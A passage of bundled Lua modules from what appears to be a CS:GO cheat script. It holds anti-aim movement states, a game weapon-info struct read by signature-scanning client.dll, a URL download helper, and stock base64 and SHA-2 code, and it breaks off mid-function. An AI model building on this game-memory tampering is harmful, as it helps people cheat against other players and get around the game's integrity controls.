    if file == ffi.NULL then return nil end

    return handle, ffi.string(file)
end

function FileSystem.find_next(handle)
    local file = func_find_next(full_filesystem_class, handle)
    if file == ffi.NULL then return nil end

    return ffi.string(file)
end

function FileSystem.find_is_directory(handle)
    return func_find_is_directory(full_filesystem_class, handle)
end

function FileSystem.find_close(handle)
    func_find_close(full_filesystem_class, handle)
end

function FileSystem.add_search_path(path, path_id, type)
    func_add_search_path(full_filesystem_class, path, path_id, type)
end

function FileSystem.remove_search_path(path, path_id)
    func_remove_search_path(full_filesystem_class, path, path_id)
end

function FileSystem.get_game_dir()
    return ffi.string(native_GetGameDirectory())
end
function FileSystem.download(url, path)
    wininet.DeleteUrlCacheEntryA(url)
    urlmon.URLDownloadToFileA(nil, url, path, 0,0)
end
function FileSystem.open(file, mode, path_id)
    if not MODES[mode] then error("Invalid mode!") end
    local self = setmetatable({
        file = file,
        mode = mode,
        path_id = path_id,
        handle = func_open_file(filesystem_class, file, mode, path_id)
    }, FileSystem)

    return self
end

function FileSystem:get_size()
    return func_get_file_size(filesystem_class, self.handle)
end

function FileSystem:write(buffer)
    func_write_file(filesystem_class, buffer, #buffer, self.handle)
end

function FileSystem:read()
    local size = self:get_size()
    local output = ffi.new("char[?]", size + 1)
    func_read_file(filesystem_class, output, size, self.handle)

    return ffi.string(output)
end

function FileSystem:close()
    func_close_file(filesystem_class, self.handle)
end

return FileSystem
end)();
local _ = (function()
local anti_aim_state = {}

anti_aim_state.FLAGS = {
    ON_GROUND = 257,
    DUCKING = 263,
    IN_AIR = 256,
    IN_AIR_DUCKING = 262,
}

anti_aim_state.STATES = {
    STAND = 1,
    WALK = 2,
    SLOW_WALK = 3,
    DUCK = 4,
    AIR = 5,
    AIR_DUCK = 6,
}

function anti_aim_state.anti_aim_states()
    local lp = entity.get_local_player()
    if not lp then
        return false
    end
    local velocity = lp.m_vecVelocity:length2d()
    local flags = lp.m_fFlags

    local state_table = {
        [anti_aim_state.FLAGS.ON_GROUND] = {
            [velocity < 3] = anti_aim_state.STATES.STAND,
            [velocity > 3 and velocity < 81] = anti_aim_state.STATES.SLOW_WALK,
            [velocity > 81] = anti_aim_state.STATES.WALK,
        },
        [anti_aim_state.FLAGS.DUCKING] = anti_aim_state.STATES.DUCK,
        [anti_aim_state.FLAGS.IN_AIR] = anti_aim_state.STATES.AIR,
        [anti_aim_state.FLAGS.IN_AIR_DUCKING] = anti_aim_state.STATES.AIR_DUCK,
    }

    local state = state_table[flags]
    if state then
        if type(state) == "table" then
            for condition, value in pairs(state) do
                if condition then
                    return value
                end
            end
        else
            return state
        end
    end
end

return anti_aim_state
end)();
local l_base64_0 = (function()
local shl, shr, band = bit.lshift, bit.rshift, bit.band
local char, byte, gsub, sub, format, concat, tostring, error, pairs = string.char, string.byte, string.gsub, string.sub, string.format, table.concat, tostring, error, pairs

local extract = function(v, from, width)
	return band(shr(v, from), shl(1, width) - 1)
end

local function makeencoder(alphabet)
	local encoder, decoder = {}, {}
	for i=1, 65 do
		local chr = byte(sub(alphabet, i, i)) or 32 -- or ' '
		if decoder[chr] ~= nil then
			error('invalid alphabet: duplicate character ' .. tostring(chr), 3)
		end
		encoder[i-1] = chr
		decoder[chr] = i-1
	end
	return encoder, decoder
end

local encoders, decoders = {}, {}

encoders['base64'], decoders['base64'] = makeencoder('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=')
encoders['base64url'], decoders['base64url'] = makeencoder('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_')

local alphabet_mt = {
	__index = function(tbl, key)
		if type(key) == 'string' and key:len() == 64 or key:len() == 65 then
			-- if key is a valid looking base64 alphabet, try to make an encoder/decoder pair from it
			encoders[key], decoders[key] = makeencoder(key)
			return tbl[key]
		end
	end
}

setmetatable(encoders, alphabet_mt)
setmetatable(decoders, alphabet_mt)

local function encode(str, encoder)
	encoder = encoders[encoder or 'base64'] or error('invalid alphabet specified', 2)

	str = tostring(str)

	local t, k, n = {}, 1, #str
	local lastn = n % 3
	local cache = {}

	for i = 1, n-lastn, 3 do
		local a, b, c = byte(str, i, i+2)
		local v = a*0x10000 + b*0x100 + c
		local s = cache[v]

		if not s then
			s = char(encoder[extract(v,18,6)], encoder[extract(v,12,6)], encoder[extract(v,6,6)], encoder[extract(v,0,6)])
			cache[v] = s
		end

		t[k] = s
		k = k + 1
	end

	if lastn == 2 then
		local a, b = byte(str, n-1, n)
		local v = a*0x10000 + b*0x100
		t[k] = char(encoder[extract(v,18,6)], encoder[extract(v,12,6)], encoder[extract(v,6,6)], encoder[64])
	elseif lastn == 1 then
		local v = byte(str, n)*0x10000
		t[k] = char(encoder[extract(v,18,6)], encoder[extract(v,12,6)], encoder[64], encoder[64])
	end

	return concat(t)
end

local function decode(b64, decoder)
	decoder = decoders[decoder or 'base64'] or error('invalid alphabet specified', 2)

	local pattern = '[^%w%+%/%=]'
	if decoder then
		local s62, s63
		for charcode, b64code in pairs(decoder) do
			if b64code == 62 then s62 = charcode
			elseif b64code == 63 then s63 = charcode
			end
		end
		pattern = format('[^%%w%%%s%%%s%%=]', char(s62), char(s63))
	end

	b64 = gsub(tostring(b64), pattern, '')

	local cache = {}
	local t, k = {}, 1
	local n = #b64
	local padding = sub(b64, -2) == '==' and 2 or sub(b64, -1) == '=' and 1 or 0

	for i = 1, padding > 0 and n-4 or n, 4 do
		local a, b, c, d = byte(b64, i, i+3)

		local v0 = a*0x1000000 + b*0x10000 + c*0x100 + d
		local s = cache[v0]
		if not s then
			local v = decoder[a]*0x40000 + decoder[b]*0x1000 + decoder[c]*0x40 + decoder[d]
			s = char(extract(v,16,8), extract(v,8,8), extract(v,0,8))
			cache[v0] = s
		end

		t[k] = s
		k = k + 1
	end

	if padding == 1 then
		local a, b, c = byte(b64, n-3, n-1)
		local v = decoder[a]*0x40000 + decoder[b]*0x1000 + decoder[c]*0x40
		t[k] = char(extract(v,16,8), extract(v,8,8))
	elseif padding == 2 then
		local a, b = byte(b64, n-3, n-2)
		local v = decoder[a]*0x40000 + decoder[b]*0x1000
		t[k] = char(extract(v,16,8))
	end
	return concat(t)
end

return {
	encode = encode,
	decode = decode
}
end)();
local _ = (function()
local ffi = require "ffi"

local CCSWeaponInfo_t = ffi.typeof [[
    struct {
        char         __pad_0x0000[4];                       // 0x0000
        char*        console_name;                          // 0x0004
        char         __pad_0x0008[12];                      // 0x0008
        int          primary_clip_size;                     // 0x0014
        int          secondary_clip_size;                   // 0x0018
        int          primary_default_clip_size;             // 0x001c
        int          secondary_default_clip_size;           // 0x0020
        int          primary_reserve_ammo_max;              // 0x0024
        int          secondary_reserve_ammo_max;            // 0x0028
        char*        model_world;                           // 0x002c
        char*        model_player;                          // 0x0030
        char*        model_dropped;                         // 0x0034
        char*        sound_empty;                           // 0x0038
        char*        sound_single_shot;                     // 0x003c
        char*        sound_single_shot_accurate;            // 0x0040
        char         __pad_0x0044[12];                      // 0x0044
        char*        sound_burst;                           // 0x0050
        char*        sound_reload;                          // 0x0054
        char         __pad_0x0058[16];                      // 0x0058
        char*        sound_special1;                        // 0x0068
        char*        sound_special2;                        // 0x006c
        char*        sound_special3;                        // 0x0070
        char         __pad_0x0074[4];                       // 0x0074
        char*        sound_nearlyempty;                     // 0x0078
        char         __pad_0x007c[4];                       // 0x007c
        char*        primary_ammo;                          // 0x0080
        char*        secondary_ammo;                        // 0x0084
        char*        item_name;                             // 0x0088
        char*        item_class;                            // 0x008c
        bool         itemflag_exhaustible;                  // 0x0090
        bool         model_right_handed;                    // 0x0091
        bool         is_melee_weapon;                       // 0x0092
        char         __pad_0x0093[9];                       // 0x0093
        int          weapon_weight;                         // 0x009c
        char         __pad_0x00a0[8];                       // 0x00a0
        int          item_gear_slot_position;               // 0x00a8
        char         __pad_0x00ac[28];                      // 0x00ac
        int          weapon_type_int;                       // 0x00c8
        char         __pad_0x00cc[4];                       // 0x00cc
        int          in_game_price;                         // 0x00d0
        int          kill_award;                            // 0x00d4
        char*        player_animation_extension;            // 0x00d8
        float        cycletime;                             // 0x00dc
        float        cycletime_alt;                         // 0x00e0
        float        time_to_idle;                          // 0x00e4
        float        idle_interval;                         // 0x00e8
        bool         is_full_auto;                          // 0x00ec
        char         __pad_0x00ed[3];                       // 0x00ed
        int          damage;                                // 0x00f0
        float        headshot_multiplier;                   // 0x00f4
        float        armor_ratio;                           // 0x00f8
        int          bullets;                               // 0x00fc
        float        penetration;                           // 0x0100
        float        flinch_velocity_modifier_large;        // 0x0104
        float        flinch_velocity_modifier_small;        // 0x0108
        float        range;                                 // 0x010c
        float        range_modifier;                        // 0x0110
        float        throw_velocity;                        // 0x0114
        char         __pad_0x0118[12];                      // 0x0118
        int          has_silencer;                          // 0x0124
        char         __pad_0x0128[4];                       // 0x0128
        int          crosshair_min_distance;                // 0x012c
        int          crosshair_delta_distance;              // 0x0130
        float        max_player_speed;                      // 0x0134
        float        max_player_speed_alt;                  // 0x0138
        float        attack_movespeed_factor;               // 0x013c
        float        spread;                                // 0x0140
        float        spread_alt;                            // 0x0144
        float        inaccuracy_crouch;                     // 0x0148
        float        inaccuracy_crouch_alt;                 // 0x014c
        float        inaccuracy_stand;                      // 0x0150
        float        inaccuracy_stand_alt;                  // 0x0154
        float        inaccuracy_jump_initial;               // 0x0158
        float        inaccuracy_jump_apex;                  // 0x015c
        float        inaccuracy_jump;                       // 0x0160
        float        inaccuracy_jump_alt;                   // 0x0164
        float        inaccuracy_land;                       // 0x0168
        float        inaccuracy_land_alt;                   // 0x016c
        float        inaccuracy_ladder;                     // 0x0170
        float        inaccuracy_ladder_alt;                 // 0x0174
        float        inaccuracy_fire;                       // 0x0178
        float        inaccuracy_fire_alt;                   // 0x017c
        float        inaccuracy_move;                       // 0x0180
        float        inaccuracy_move_alt;                   // 0x0184
        float        inaccuracy_reload;                     // 0x0188
        int          recoil_seed;                           // 0x018c
        float        recoil_angle;                          // 0x0190
        float        recoil_angle_alt;                      // 0x0194
        float        recoil_angle_variance;                 // 0x0198
        float        recoil_angle_variance_alt;             // 0x019c
        float        recoil_magnitude;                      // 0x01a0
        float        recoil_magnitude_alt;                  // 0x01a4
        float        recoil_magnitude_variance;             // 0x01a8
        float        recoil_magnitude_variance_alt;         // 0x01ac
        int          spread_seed;                           // 0x01b0
        float        recovery_time_crouch;                  // 0x01b4
        float        recovery_time_stand;                   // 0x01b8
        float        recovery_time_crouch_final;            // 0x01bc
        float        recovery_time_stand_final;             // 0x01c0
        int          recovery_transition_start_bullet;      // 0x01c4
        int          recovery_transition_end_bullet;        // 0x01c8
        bool         unzoom_after_shot;                     // 0x01cc
        bool         hide_view_model_zoomed;                // 0x01cd
        char         __pad_0x01ce[2];                       // 0x01ce
        int          zoom_levels;                           // 0x01d0
        int          zoom_fov_1;                            // 0x01d4
        int          zoom_fov_2;                            // 0x01d8
        int          zoom_time_0;                           // 0x01dc
        int          zoom_time_1;                           // 0x01e0
        int          zoom_time_2;                           // 0x01e4
        char*        addon_location;                        // 0x01e8
        char         __pad_0x01ec[4];                       // 0x01ec
        float        addon_scale;                           // 0x01f0
        char*        eject_brass_effect;                    // 0x01f4
        char*        tracer_effect;                         // 0x01f8
        int          tracer_frequency;                      // 0x01fc
        int          tracer_frequency_alt;                  // 0x0200
        char*        muzzle_flash_effect_1st_person;        // 0x0204
        char*        muzzle_flash_effect_1st_person_alt;    // 0x0208
        char*        muzzle_flash_effect_3rd_person;        // 0x020c
        char*        muzzle_flash_effect_3rd_person_alt;    // 0x0210
        char*        heat_effect;                           // 0x0214
        float        heat_per_shot;                         // 0x0218
        char*        zoom_in_sound;                         // 0x021c
        char*        zoom_out_sound;                        // 0x0220
        char         __pad_0x0224[4];                       // 0x0224
        float        inaccuracy_alt_sound_threshold;        // 0x0228
        float        bot_audible_range;                     // 0x022c
        char         __pad_0x0230[12];                      // 0x0230
        bool         has_burst_mode;                        // 0x023c
        bool         is_revolver;                           // 0x023d
        char         __pad_0x023e[2];                       // 0x023e
    }
]]

---@format disable-next
local struct_keys = {"console_name", "primary_clip_size", "secondary_clip_size", "primary_default_clip_size", "secondary_default_clip_size", "primary_reserve_ammo_max", "secondary_reserve_ammo_max", "model_world", "model_player", "model_dropped", "sound_empty", "sound_single_shot", "sound_single_shot_accurate", "sound_burst", "sound_reload", "sound_special1", "sound_special2", "sound_special3", "sound_nearlyempty", "primary_ammo", "secondary_ammo", "item_name", "item_class", "itemflag_exhaustible", "model_right_handed", "is_melee_weapon", "weapon_weight", "item_gear_slot_position", "weapon_type_int", "in_game_price", "kill_award", "player_animation_extension", "cycletime", "cycletime_alt", "time_to_idle", "idle_interval", "is_full_auto", "damage", "armor_ratio", "bullets", "penetration", "flinch_velocity_modifier_large", "flinch_velocity_modifier_small", "range", "range_modifier", "throw_velocity", "has_silencer", "crosshair_min_distance", "crosshair_delta_distance", "max_player_speed", "max_player_speed_alt", "attack_movespeed_factor", "spread", "spread_alt", "inaccuracy_crouch", "inaccuracy_crouch_alt", "inaccuracy_stand", "inaccuracy_stand_alt", "inaccuracy_jump_initial", "inaccuracy_jump_apex", "inaccuracy_jump", "inaccuracy_jump_alt", "inaccuracy_land", "inaccuracy_land_alt", "inaccuracy_ladder", "inaccuracy_ladder_alt", "inaccuracy_fire", "inaccuracy_fire_alt", "inaccuracy_move", "inaccuracy_move_alt", "inaccuracy_reload", "recoil_seed", "recoil_angle", "recoil_angle_alt", "recoil_angle_variance", "recoil_angle_variance_alt", "recoil_magnitude", "recoil_magnitude_alt", "recoil_magnitude_variance", "recoil_magnitude_variance_alt", "spread_seed", "recovery_time_crouch", "recovery_time_stand", "recovery_time_crouch_final", "recovery_time_stand_final", "recovery_transition_start_bullet", "recovery_transition_end_bullet", "unzoom_after_shot", "hide_view_model_zoomed", "zoom_levels", "zoom_fov_1", "zoom_fov_2", "zoom_time_0", "zoom_time_1", "zoom_time_2", "addon_location", "addon_scale", "eject_brass_effect", "tracer_effect", "tracer_frequency", "tracer_frequency_alt", "muzzle_flash_effect_1st_person", "muzzle_flash_effect_1st_person_alt", "muzzle_flash_effect_3rd_person", "muzzle_flash_effect_3rd_person_alt", "heat_effect", "heat_per_shot", "zoom_in_sound", "zoom_out_sound", "inaccuracy_alt_sound_threshold", "bot_audible_range", "has_burst_mode", "is_revolver"}
---@format disable-next
local weapon_idx = {1, 2, 3, 4, 7, 8, 9, 10, 11, 13, 14, 16, 17, 19, 20, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 55, 56, 57, 59, 60, 61, 63, 64, 68, 69, 70, 72, 74, 75, 76, 78, 80, 81, 82, 83, 84, 85, 500, 503, 505, 506, 507, 508, 509, 512, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 525}

local weapon_types = {
    [0] = "knife",
    [1] = "pistol",
    [2] = "smg",
    [3] = "rifle",
    [4] = "shotgun",
    [5] = "sniperrifle",
    [6] = "machinegun",
    [7] = "c4",
    [9] = "grenade",
    [11] = "stackableitem",
    [12] = "fists",
    [13] = "breachcharge",
    [14] = "bumpmine",
    [15] = "tablet",
    [16] = "melee",
    [19] = "equipment"
}

local iweaponsystem = ffi.cast("void**", utils.opcode_scan("client.dll", "8B 35 CC CC CC CC FF 10 0F B7 C0", 2))[0]
local native_GetCSWeaponInfo = utils.get_vfunc(2, "$*(__thiscall*)(void*, unsigned int)", CCSWeaponInfo_t)

local cstr = ffi.typeof "char*"
local extract_field = function(val) return ffi.istype(cstr, val) and ffi.string(val) or val end

local js = panorama.loadstring([[
        return {
            get_weapon_info: (idx) => {
                const item = InventoryAPI.GetFauxItemIDFromDefAndPaintIndex(idx)

                return item && item > 0 ? InventoryAPI.BuildItemSchemaDefJSON(item): "null"
            },
            localize: (str) => {
                return $.Localize(str)
            }
        }
]], "CSGOMainMenu")()

local weapons, weapons_index = {}, {}
local v170_safe_json_parse_0

for x = 1, #weapon_idx do
    local idx = weapon_idx[x]
    local res = native_GetCSWeaponInfo(iweaponsystem, idx)
    if res == nil then break end

    local weapon = {}
    for y = 1, #struct_keys do
        local key = struct_keys[y]
        weapon[key] = extract_field(res[key])
    end

    weapon.idx = idx
    weapon.type = idx == 31 and "taser" or weapon_types[res.weapon_type_int]
    weapon.name = js.localize(weapon.item_name)
    weapon.raw = res

    weapon.schema = json.parse(js.get_weapon_info(idx))

    weapons[idx] = weapon
    weapons_index[weapon.console_name] = weapon
end

setmetatable(weapons, {
    __index = weapons_index,
    __metatable = false,
    __call = function(t, ent)
        if type(ent) ~= "userdata" or not ent:is_weapon() then return end

        return t[ent:get_weapon_index()]
    end
})

return weapons
end)();
local l_gradient_0 = (function()
    local function _gradient_text(r1, g1, b1, a1, r2, g2, b2, a2, text)
        local output = '';
        local len = #text - 1;
        if len <= 0 then
            return ('\a%02x%02x%02x%02x%s'):format(r1, g1, b1, a1, text);
        end;
        local rinc = (r2 - r1) / len;
        local ginc = (g2 - g1) / len;
        local binc = (b2 - b1) / len;
        local ainc = (a2 - a1) / len;
        for i = 1, len + 1 do
            output = output .. ('\a%02x%02x%02x%02x%s'):format(r1, g1, b1, a1, text:sub(i, i));
            r1 = r1 + rinc;
            g1 = g1 + ginc;
            b1 = b1 + binc;
            a1 = a1 + ainc;
        end;
        return output;
    end;
    local lib = {};
    lib.text_animate = function(text, _, colors)
        local obj = { _text = text, _colors = colors or {} };
        obj.animate = function(self)
            local first = self._colors[1];
            if first ~= nil then
                self._rendered = _gradient_text(first.r, first.g, first.b, first.a, first.r, first.g, first.b, first.a, self._text);
            else
                self._rendered = self._text;
            end;
            return self;
        end;
        obj.get_animated_text = function(self)
            return self._rendered or self._text;
        end;
        return obj;
    end;
    return lib;
end)();
local l_hashing_0 = (function()
    local sha = (function()
-- This module contains functions to calculate SHA2 digest.
--    Supported hashes: SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, SHA-512/256
--    This is a pure-Lua module, compatible with Lua 5.1
--    It works on Lua 5.1/5.2/5.3/5.4/LuaJIT, but it doesn't use benefits of Lua versions 5.2+

--    Input data may must be provided either as a whole string or as a sequence of substrings (chunk-by-chunk).
--    Result (SHA2 digest) is a string of lowercase hex digits.
--
--    Simplest usage example:
--       local your_hash = require("sha2for51").sha512("your string")

--    See file "sha2for51_test.lua" for more examples.



local unpack, table_concat, byte, char, string_rep, sub, string_format, floor, ceil, min, max =
   table.unpack or unpack, table.concat, string.byte, string.char, string.rep, string.sub, string.format, math.floor, math.ceil, math.min, math.max

--------------------------------------------------------------------------------
-- BASIC BITWISE FUNCTIONS
--------------------------------------------------------------------------------

-- 32-bit bitwise functions
local AND, OR, XOR, SHL, SHR, ROL, ROR, HEX
-- Only low 32 bits of function arguments matter, high bits are ignored
-- The result of all functions (except HEX) is an integer (pair of integers) inside range 0..(2^32-1)

function SHL(x, n)
   return (x * 2^n) % 4294967296
end

function SHR(x, n)
   x = x % 4294967296 / 2^n
   return x - x % 1
end

function ROL(x, n)
   x = x % 4294967296 * 2^n
   local r = x % 4294967296
   return r + (x - r) / 4294967296
end

function ROR(x, n)
   x = x % 4294967296 / 2^n
   local r = x % 1
   return r * 4294967296 + (x - r)
end

local AND_of_two_bytes = {}  -- look-up table (256*256 entries)
for idx = 0, 65535 do
   local x = idx % 256
   local y = (idx - x) / 256
   local res = 0
   local w = 1
   while x * y ~= 0 do
      local rx = x % 2
      local ry = y % 2
      res = res + rx * ry * w
      x = (x - rx) / 2
      y = (y - ry) / 2
      w = w * 2
   end
   AND_of_two_bytes[idx] = res
end

local function and_or_xor(x, y, operation)
   -- operation: nil = AND, 1 = OR, 2 = XOR
   local x0 = x % 4294967296
   local y0 = y % 4294967296
   local rx = x0 % 256
   local ry = y0 % 256
   local res = AND_of_two_bytes[rx + ry * 256]
   x = x0 - rx
   y = (y0 - ry) / 256
   rx = x % 65536
   ry = y % 256
   res = res + AND_of_two_bytes[rx + ry] * 256
   x = (x - rx) / 256
   y = (y - ry) / 256
   rx = x % 65536 + y % 256
   res = res + AND_of_two_bytes[rx] * 65536
   res = res + AND_of_two_bytes[(x + y - rx) / 256] * 16777216
   if operation then
      res = x0 + y0 - operation * res
   end
   return res
end

function AND(x, y)
   return and_or_xor(x, y)
end

function OR(x, y)
   return and_or_xor(x, y, 1)
end

function XOR(x, y, z)          -- 2 or 3 arguments
   if z then
      y = and_or_xor(y, z, 2)
   end
   return and_or_xor(x, y, 2)
end

function HEX(x)
   return string_format("%08x", x % 4294967296)
end

-- Arrays of SHA2 "magic numbers"
local sha2_K_lo, sha2_K_hi, sha2_H_lo, sha2_H_hi = {}, {}, {}, {}
local sha2_H_ext256 = {[224] = {}, [256] = sha2_H_hi}
local sha2_H_ext512_lo, sha2_H_ext512_hi = {[384] = {}, [512] = sha2_H_lo}, {[384] = {}, [512] = sha2_H_hi}

local common_W = {}  -- a temporary table shared between all calculations

local function sha256_feed_64(H, K, str, W, offs, size)
   -- offs >= 0, size >= 0, size is multiple of 64
   for pos = offs, size + offs - 1, 64 do
      for j = 1, 16 do
         pos = pos + 4
         local a, b, c, d = byte(str, pos - 3, pos)
         W[j] = ((a * 256 + b) * 256 + c) * 256 + d
      end
      for j = 17, 64 do
         local a, b = W[j-15], W[j-2]
         W[j] = XOR(ROR(a, 7), ROL(a, 14), SHR(a, 3)) + XOR(ROL(b, 15), ROL(b, 13), SHR(b, 10)) + W[j-7] + W[j-16]
      end
      local a, b, c, d, e, f, g, h, z = H[1], H[2], H[3], H[4], H[5], H[6], H[7], H[8]
      for j = 1, 64 do
         z = XOR(ROR(e, 6), ROR(e, 11), ROL(e, 7)) + AND(e, f) + AND(-1-e, g) + h + K[j] + W[j]
         h = g
         g = f
         f = e
         e = z + d
         d = c
         c = b
         b = a
         a = z + AND(d, c) + AND(a, XOR(d, c)) + XOR(ROR(a, 2), ROR(a, 13), ROL(a, 10))
      end
      H[1], H[2], H[3], H[4] = (a + H[1]) % 4294967296, (b + H[2]) % 4294967296, (c + H[3]) % 4294967296, (d + H[4]) % 4294967296
      H[5], H[6], H[7], H[8] = (e + H[5]) % 4294967296, (f + H[6]) % 4294967296, (g + H[7]) % 4294967296, (h + H[8]) % 4294967296
   end
end

local function sha512_feed_128(H_lo, H_hi, K_lo, K_hi, str, W, offs, size)
   -- offs >= 0, size >= 0, size is multiple of 128
   -- W1_hi, W1_lo, W2_hi, W2_lo, ...   Wk_hi = W[2*k-1], Wk_lo = W[2*k]
   for pos = offs, size + offs - 1, 128 do
      for j = 1, 32 do
         pos = pos + 4
         local a, b, c, d = byte(str, pos - 3, pos)
         W[j] = ((a * 256 + b) * 256 + c) * 256 + d
      end
      local tmp1, tmp2
      for jj = 17 * 2, 80 * 2, 2 do
         local a_lo, a_hi, b_lo, b_hi = W[jj-30], W[jj-31], W[jj-4], W[jj-5]
         tmp1 = XOR(SHR(a_lo, 1) + SHL(a_hi, 31), SHR(a_lo, 8) + SHL(a_hi, 24), SHR(a_lo, 7) + SHL(a_hi, 25)) + XOR(SHR(b_lo, 19) + SHL(b_hi, 13), SHL(b_lo, 3) + SHR(b_hi, 29), SHR(b_lo, 6) + SHL(b_hi, 26)) + W[jj-14] + W[jj-32]
         tmp2 = tmp1 % 4294967296
         W[jj-1] = XOR(SHR(a_hi, 1) + SHL(a_lo, 31), SHR(a_hi, 8) + SHL(a_lo, 24), SHR(a_hi, 7)) + XOR(SHR(b_hi, 19) + SHL(b_lo, 13), SHL(b_hi, 3) + SHR(b_lo, 29), SHR(b_hi, 6)) + W[jj-15] + W[jj-33] + (tmp1 - tmp2) / 4294967296
         W[jj] = tmp2
      end
      local a_lo, b_lo, c_lo, d_lo, e_lo, f_lo, g_lo, h_lo, z_lo = H_lo[1], H_lo[2], H_lo[3], H_lo[4], H_lo[5], H_lo[6], H_lo[7], H_lo[8]
      local a_hi, b_hi, c_hi, d_hi, e_hi, f_hi, g_hi, h_hi, z_hi = H_hi[1], H_hi[2], H_hi[3], H_hi[4], H_hi[5], H_hi[6], H_hi[7], H_hi[8]
      for j = 1, 80 do
         local jj = 2 * j
         tmp1 = XOR(SHR(e_lo, 14) + SHL(e_hi, 18), SHR(e_lo, 18) + SHL(e_hi, 14), SHL(e_lo, 23) + SHR(e_hi, 9)) + AND(e_lo, f_lo) + AND(-1-e_lo, g_lo) + h_lo + K_lo[j] + W[jj]
         z_lo = tmp1 % 4294967296
         z_hi = XOR(SHR(e_hi, 14) + SHL(e_lo, 18), SHR(e_hi, 18) + SHL(e_lo, 14), SHL(e_hi, 23) + SHR(e_lo, 9)) + AND(e_hi, f_hi) + AND(-1-e_hi, g_hi) + h_hi + K_hi[j] + W[jj-1] + (tmp1 - z_lo) / 4294967296
         h_lo = g_lo
         h_hi = g_hi
         g_lo = f_lo
         g_hi = f_hi
         f_lo = e_lo
         f_hi = e_hi
         tmp1 = z_lo + d_lo
         e_lo = tmp1 % 4294967296
         e_hi = z_hi + d_hi + (tmp1 - e_lo) / 4294967296
         d_lo = c_lo
         d_hi = c_hi
         c_lo = b_lo
         c_hi = b_hi
         b_lo = a_lo
         b_hi = a_hi
         tmp1 = z_lo + AND(d_lo, c_lo) + AND(b_lo, XOR(d_lo, c_lo)) + XOR(SHR(b_lo, 28) + SHL(b_hi, 4), SHL(b_lo, 30) + SHR(b_hi, 2), SHL(b_lo, 25) + SHR(b_hi, 7))
         a_lo = tmp1 % 4294967296
         a_hi = z_hi + (AND(d_hi, c_hi) + AND(b_hi, XOR(d_hi, c_hi))) + XOR(SHR(b_hi, 28) + SHL(b_lo, 4), SHL(b_hi, 30) + SHR(b_lo, 2), SHL(b_hi, 25) + SHR(b_lo, 7)) + (tmp1 - a_lo) / 4294967296
      end
      tmp1 = H_lo[1] + a_lo
      tmp2 = tmp1 % 4294967296
      H_lo[1], H_hi[1] = tmp2, (H_hi[1] + a_hi + (tmp1 - tmp2) / 4294967296) % 4294967296
      tmp1 = H_lo[2] + b_lo
      tmp2 = tmp1 % 4294967296
      H_lo[2], H_hi[2] = tmp2, (H_hi[2] + b_hi + (tmp1 - tmp2) / 4294967296) % 4294967296
      tmp1 = H_lo[3] + c_lo
      tmp2 = tmp1 % 4294967296
      H_lo[3], H_hi[3] = tmp2, (H_hi[3] + c_hi + (tmp1 - tmp2) / 4294967296) % 4294967296
      tmp1 = H_lo[4] + d_lo
      tmp2 = tmp1 % 4294967296
      H_lo[4], H_hi[4] = tmp2, (H_hi[4] + d_hi + (tmp1 - tmp2) / 4294967296) % 4294967296
      tmp1 = H_lo[5] + e_lo
      tmp2 = tmp1 % 4294967296
      H_lo[5], H_hi[5] = tmp2, (H_hi[5] + e_hi + (tmp1 - tmp2) / 4294967296) % 4294967296
      tmp1 = H_lo[6] + f_lo
      tmp2 = tmp1 % 4294967296
      H_lo[6], H_hi[6] = tmp2, (H_hi[6] + f_hi + (tmp1 - tmp2) / 4294967296) % 4294967296
      tmp1 = H_lo[7] + g_lo
      tmp2 = tmp1 % 4294967296
      H_lo[7], H_hi[7] = tmp2, (H_hi[7] + g_hi + (tmp1 - tmp2) / 4294967296) % 4294967296
      tmp1 = H_lo[8] + h_lo
      tmp2 = tmp1 % 4294967296
      H_lo[8], H_hi[8] = tmp2, (H_hi[8] + h_hi + (tmp1 - tmp2) / 4294967296) % 4294967296
   end
end

--------------------------------------------------------------------------------
-- CALCULATING THE MAGIC NUMBERS (roots of primes)
--------------------------------------------------------------------------------

do
   local function mul(src1, src2, factor, result_length)
      -- Long arithmetic multiplication: src1 * src2 * factor
      -- src1, src2 - long integers (arrays of digits in base 2^24)
      -- factor - short integer
      local result = {}
      local carry = 0
      local value = 0.0
      local weight = 1.0
      for j = 1, result_length do
         local prod = 0
         for k = max(1, j + 1 - #src2), min(j, #src1) do
            prod = prod + src1[k] * src2[j + 1 - k]
         end
         carry = carry + prod * factor
         local digit = carry % 16777216
         result[j] = digit
         carry = floor(carry / 16777216)
         value = value + digit * weight
         weight = weight * 2^24
      end
      return
         result,    -- long integer
         value      -- and its floating point approximation
   end

   local idx, step, p, one  = 0, {4, 1, 2, -2, 2}, 4, {1}
   local sqrt_hi, sqrt_lo, idx_disp = sha2_H_hi, sha2_H_lo, 0
   repeat
      p = p + step[p % 6]
      local d = 1
      repeat
         d = d + step[d % 6]
         if d * d > p then
            idx = idx + 1
            local root = p^(1/3)
            local R = mul({floor(root * 2^40)}, one, 1, 2)
            local _, delta = mul(R, mul(R, R, 1, 4), -1, 4)
            local hi = R[2] % 65536 * 65536 + floor(R[1] / 256)
            local lo = R[1] % 256 * 16777216 + floor(delta * (2^-56 / 3) * root / p)
            sha2_K_hi[idx], sha2_K_lo[idx] = hi, lo
            if idx < 17 then
               root = p^(1/2)
               R = mul({floor(root * 2^40)}, one, 1, 2)
               _, delta = mul(R, R, -1, 2)
               hi = R[2] % 65536 * 65536 + floor(R[1] / 256)
               lo = R[1] % 256 * 16777216 + floor(delta * 2^-17 / root)
               sha2_H_ext256[224][idx + idx_disp] = lo
               sqrt_hi[idx + idx_disp], sqrt_lo[idx + idx_disp] = hi, lo
               if idx == 8 then
                  sqrt_hi, sqrt_lo, idx_disp = sha2_H_ext512_hi[384], sha2_H_ext512_lo[384], -8
               end
            end
            break
         end
      until p % d == 0
   until idx > 79
end

-- Calculating IV for SHA512/224 and SHA512/256
for width = 224, 256, 32 do
   local H_lo, H_hi = {}, {}
   for j = 1, 8 do
      H_lo[j] = XOR(sha2_H_lo[j], 0xa5a5a5a5)
      H_hi[j] = XOR(sha2_H_hi[j], 0xa5a5a5a5)
   end
